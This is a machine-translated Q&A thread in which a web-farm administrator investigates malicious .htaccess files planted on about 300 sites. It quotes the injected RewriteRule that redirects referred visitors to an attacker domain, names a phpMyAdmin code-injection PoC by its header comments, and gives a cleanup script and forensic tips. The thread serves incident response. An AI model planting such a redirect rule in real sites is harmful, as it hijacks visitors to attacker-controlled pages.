☰

Поиск уязвимости веб-сервера

tag-icon • tag-icon apache-2.2 security .htaccess hacking vulnerability
Поиск уязвимости веб-сервера

Мы управляем фермой веб-серверов, на которой размещено около 300 веб-сайтов.

Вчера утром скрипт разместил файлы .htaccess, принадлежащие www-data (пользователь apache)в каждом каталогев document_root большинства (но не всех) сайтов.

Содержимое файла .htaccess было следующим:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Погуглив этот URL (который является хэшем md5 слова «antivirus»), я обнаружил, что то же самое происходило по всему Интернету, и ищу кого-то, кто уже сталкивался с этим и определилгде уязвимость.

Я просмотрел большую часть наших журналов, но пока ничего не нашел. Есть ли другие, кто испытал то же самое и продвинулся дальше меня в определении дыры?

На данный момент мы определили:

  • изменения были сделаны как www-data, так что Apache или его плагины, скорее всего, являются виновниками
  • все изменения были сделаны с интервалом в 15 минут, так что, вероятно, это было автоматизировано
  • Поскольку наши веб-сайты имеют сильно различающиеся доменные имена, я думаю, что причиной была одна уязвимость на одном сайте (а не общая уязвимость на всех сайтах)
  • если файл .htaccess уже существовал и был доступен для записи через www-data, то скрипт был добр и просто добавлял вышеуказанные строки в конец файла (что облегчало отмену)

Буду признателен за любые дополнительные подсказки.

==Редактировать==

Для тех, кому это нужно, вот скрипт, который я использовал для очистки файлов .htaccess:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

решение1

Естьэксплуатироватьиз phpMyAdmin

#!/bin/баш

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# от pagvac (gnucitizen.org), 4 июня 2009 г.
# особая благодарность Грегу Осе (labs.neohapsis.com) за обнаружение такой крутой уязвимости,
# а также str0ke (milw0rm.com) за тестирование этого PoC-скрипта и предоставление отзывов!

# Скрипт PoC успешно протестирован на следующих платформах:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 и 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# требования к атаке:
# 1) уязвимая версия (очевидно!): 2.11.x до 2.11.9.5
# и 3.x до 3.1.3.1 согласно PMASA-2009-3
# 2) этокажетсяэта уязвимость может быть использована только в тех средах,
# где администратор решил установить phpMyAdmin после
#волшебникметод, а не ручной метод:http://snipurl.com/jhjxx
# 3) администратор НЕ должен был удалить каталог '/config/'
# внутри каталога '/phpMyAdmin/'. Это потому, что этот каталог находится
# там, где '/scripts/setup.php' пытается создать 'config.inc.php', в который
# внедряется наш злой PHP-код 8)

# больше информации о:
#http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
#http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

решение2

Поскольку атака, судя по всему, произошла через Apache, я бы сделал следующее:

  1. Просмотрите все журналы доступа в поисках «.htaccess», например, что-то вроде
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. Найдите в домашнем каталоге пользователя apache/httpd/whatever файл истории, часто это «/var/www» или что-то похожее.

Это сначала покажет, был ли скомпрометирован сам веб-пользователь или злоумышленник использовал произвольное выполнение команды. Это также может дать (потенциальный) полный отчет о том, что сделал злоумышленник. Как бы глупо это ни звучало, большинство подобных взломов редко убирают за собой и оставляют такие доказательства.

И, конечно же, если в вашей организации есть группа, которая занимается реагированием на инциденты безопасности или судебной экспертизой, возможно, стоит передать им оборудование, прежде чем вы начнете собственный анализ.

Связанный контент